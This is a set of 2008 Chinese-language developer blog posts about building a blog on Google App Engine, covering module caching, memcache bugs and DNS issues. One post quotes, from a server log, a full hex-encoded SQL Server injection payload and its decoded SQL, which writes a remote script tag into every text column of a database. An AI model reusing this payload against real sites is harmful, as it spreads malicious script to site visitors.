Login

Google App Engine 对 module 的缓存时间

2008-07-16 23:40:58 by kommit

GAE 的文档中提到:import 进来的 module 会被缓存,并用一个例子演示:多次执行 Request Handler 脚本的时候,被 import 进来的模块中的代码不会反复执行。

### mymodule.py
counter = 0
def increment():
    global counter
    counter += 1
    return counter


### myhandler.py
import mymodule

print "Content-Type: text/plain"
print ""
print "My number: " + str(mymodule.increment())

在这个例子中,虽然 mymodule.py 中第一句就是 counter = 0,但是下面的 myhandler 在调用的时候并不会反复执行这一句,因为mymodule 这个模块被缓存了,下次执行 myhandler 的时候直接从缓存中加载了 mymodule 以及其中的变量 counter。

但是,问题来了,我能不能依赖这个缓存机制,用来长期存储存一些全局变量呢?比如网站计数器。答案是不能。为了测试一个模块能被缓存多久而不会重新加载,我在代码的三个模块文件中第一句都加了一个 logging 语句:logging.info("module XXX reloaded"),下面是7月15日的观测结果:

  • I 07-15 11:42PM 52.480 module theme reloaded
  • I 07-15 11:42PM 52.483 module config reloaded
  • I 07-15 11:42PM 52.562 module memcache reloaded
  • I 07-15 07:54PM 07.536 module theme reloaded
  • I 07-15 07:54PM 07.539 module config reloaded
  • I 07-15 04:43PM 44.40 module memcache reloaded
  • I 07-15 04:43PM 11.720 module theme reloaded
  • I 07-15 04:43PM 11.723 module config reloaded
  • I 07-15 12:57PM 55.851 module theme reloaded
  • I 07-15 12:57PM 55.855 module config reloaded
  • I 07-15 12:57PM 55.935 module memcache reloaded
  • I 07-15 12:20PM 12.906 module theme reloaded
  • I 07-15 12:20PM 12.910 module config reloaded
  • I 07-15 12:20PM 12.995 module memcache reloaded
  • I 07-15 11:16AM 11.12 module memcache reloaded
  • I 07-15 11:16AM 04.596 module theme reloaded
  • I 07-15 11:16AM 04.599 module config reloaded
  • I 07-15 09:16AM 22.9 module theme reloaded
  • I 07-15 09:16AM 22.12 module config reloaded
  • I 07-15 09:16AM 22.93 module memcache reloaded
  • I 07-15 08:08AM 32.22 module theme reloaded
  • I 07-15 08:08AM 32.25 module config reloaded
  • I 07-15 08:08AM 32.102 module memcache reloaded
  • I 07-15 06:17AM 05.237 module theme reloaded
  • I 07-15 06:17AM 05.240 module config reloaded
  • I 07-15 06:17AM 05.327 module memcache reloaded
  • I 07-15 02:46AM 44.344 module theme reloaded
  • I 07-15 02:46AM 44.347 module config reloaded
  • I 07-15 02:46AM 44.445 module memcache reloaded

可以看出,logging 语句会每隔一段时间执行一次,也就是说,模块会被重新加载一次,时间长短不等,有可能1小时,也有可能4-5个多小时。。。回到最初的例子,那就是:一旦重新加载,counter 就会再次变成0。

另外,用 appcfg.py update 更新了网站之后,也会被重新加载。

在使用 MemCache 的时候,我用了一个全局变量来存放一些东西(比如 post,commet)的上次修改时间,用来判断 MemCache 中的对象是否过期,但是当时不知道 module 的缓存会在几小时内过期导致那个变量清空,所以现在 MemCache 对象的最长生存时间只有几个小时。。。不过这已经让 CPU 的使用量大大下降了。

前两天把代码改了一下,把全局变量放在了数据库中,模块重新加载的时候就从数据库中重新读取,然后稍微重构了一下 MemCache 的使用方法,但是重构之后又遇到了另外一个问题。(简单地说就是,往 MemCache 中存放 str/unicode 之外的对象,可能导致取不出来,这个问题似乎同样和模块的缓存失效期限有关)

令人高兴的是,昨天,Guido 说已经把这个 bug 修复了,不过我还是打算再观察两天,等真的不出问题了再把代码更新过来。

Tags: python, memcache, bug, appengine

一件很囧的事情

2008-07-03 15:29:26 by kommit

昨天把实现了 memcache 的代码更新到服务器上,然后选了另一个 theme,然后过了一会发现竟然变回了默认的 theme。我想可能是因为每次更新都会重新加载模块文件,然后可能还有缓存的原因……具体没多想,于是又重新设置了一遍 theme,然后就去睡觉了。

躺下之后感觉还是不对劲,应该不会出现这种问题的……后来睡着了,还梦到我查到 bug 来着。。。。

今天上午到公司打开一看,发现竟然又变成了默认主题。然后重新设置了一次,过了一会果然又变回去了。比较囧的是,由于缓存的作用,导致一些页面是新主题,另一些页面是默认主题。。。更囧的是,在自己的机器上运行就没有问题,如何都重现不了……

中午寝食难安,开始改代码,在所有认为可能出现问题的地方加上了 logging,然后做了个页面随时查看有关的全局变量,然后上传代码

两个小时之后,问题终于重现了,赶紧去看 log,发现是在 render 的时候出现了问题:

之前为了防止 theme 文件被意外修改而导致页面完全不能显示,我在 render 抛出异常之后把当前的 theme 改成了 default。但是现在呢,我在 render 里面加上了 memcache 的逻辑:把当前的 url 作为 key,把生成的 html 存到 memcache 里面。问题就出在这里:memcache 的 key 的最大长度是 250,url 的长度超过了这个数,导致 memcache.set 方法抛出异常,而外层处理发现 render 出问题了,把主题变成安全的默认主题了(这是我的错,之前只考虑了 theme 文件导致的异常)。

但问题是:为什么会出现这么长的 url?我查了一下 log, 发现有这么一个访问记录:

/?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861722832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D727472696D28636F6E7665727428766172636861722C5B272B40432B275D29292B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A732E75736572732E35312E6C612F313938313136322E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A732E75736572732E35312E6C612F313938313136322E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

看了一下内容,感觉有点像 SQL,于是放到 Sql Server 2005 里面执行了一下,发现最后是执行这么一个 SQL 语句:

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''"></title><script src="http://js.users.51.la/1981162.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://js.users.51.la/1981162.js"></script><!--''')FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

我没仔细研究这段 SQL,但是可以确定的是,这是在试图进行 SQL 注入攻击。而且是针对某 sql server 系统的攻击。没调查这个访问是哪里来的,也不知道那个 js.users.51.la 是什么来头。总之 bug 原因是找到了。

当然,plog 不会被这样的访问攻击,但是由于它的 url 太长,让我暴露了另一个 BUG……

晚上回去修复,先用着默认主题吧。。。

Tags: plog, sql injection, memcache, attack, bug

几个好消息,和坏消息

2008-05-29 23:31:41 by kommit

好消息:

  1. google app engine 注册不需要排队了。只要有 google 账号就可以创建 app,不过需要短信验证,试了一下输入 +86 我的手机号,可以正常接收 google 的短信。
  2. 提供了两组新的 api,memcache 和 image api。前者还没仔细看,不过看名字,估计对提升性能有帮助;image api 我之前也在期望 google 能提供,不过看了一下文档,似乎只有基本的缩放、旋转、剪裁等功能。没有我期待的 draw_text,给图片加水印、生成验证码之类的功能是没戏了,希望以后能提供。
  3. app engine 公布了收费方案,没仔细看,看起来挺便宜的。对我这种玩玩的来说,免费版的提供的限额足够了。

坏消息:

  1. app engine 似乎有 因为某种原因导致国内用户无法访问 的趋势。希望只是某系统一时抽风。。。。
  2. 似乎 plog 通过网页发文章出了点问题,不知道是哪次修改带来的 bug,我只能通过 API 用 Windows Live Writer 写文章。。。

附问题1的临时解决方案:

下午研究了一下,发现是 209.85.141.118 这个地址坏掉了,而 appengine.google.com 和 *.appspot.com 在我这里解析的时候,DNS 返回的地址有3 种可能:209.85.139.118、209.85.171.118、209.85.141.118,前两个都是好的,如果碰巧遇上第三个,就访问不了。另外如果绑定了 google apps 的域名,那几个 ip 也都是没问题的。

解决方法呢,可以在 %SYSTEM32%\drivers\etc\hosts 里面加上:

209.85.139.118 ***(这里是想要访问的地址).appspot.com
208.85.139.118 appengine.google.com

不过,这也只能方便网站拥有者本人,总不能要求每一个访问你网站的人都去这么设置吧。

Tags: plog, bug, appengine

Bug again...

2008-05-08 15:24:42 by kommit

Google app engine 的 sdk 还有不少问题,今天又发现一个。
HTTP 协议规定 response header 的结尾应该是两个CRLF,也就是\r\n\r\n,但是实际上在 Windows 下运行 dev_appserver.py 的时候,结尾成了LFCRLF。

实际上大多数客户端都不太计较这些的,但是为了测试 api,我选用了伟大的 M$ 的产品—— Windows Live Writer,人家说发现我的 header 不标准,然后解决这个问题之前不给我 continue....

Tags: bug, appengine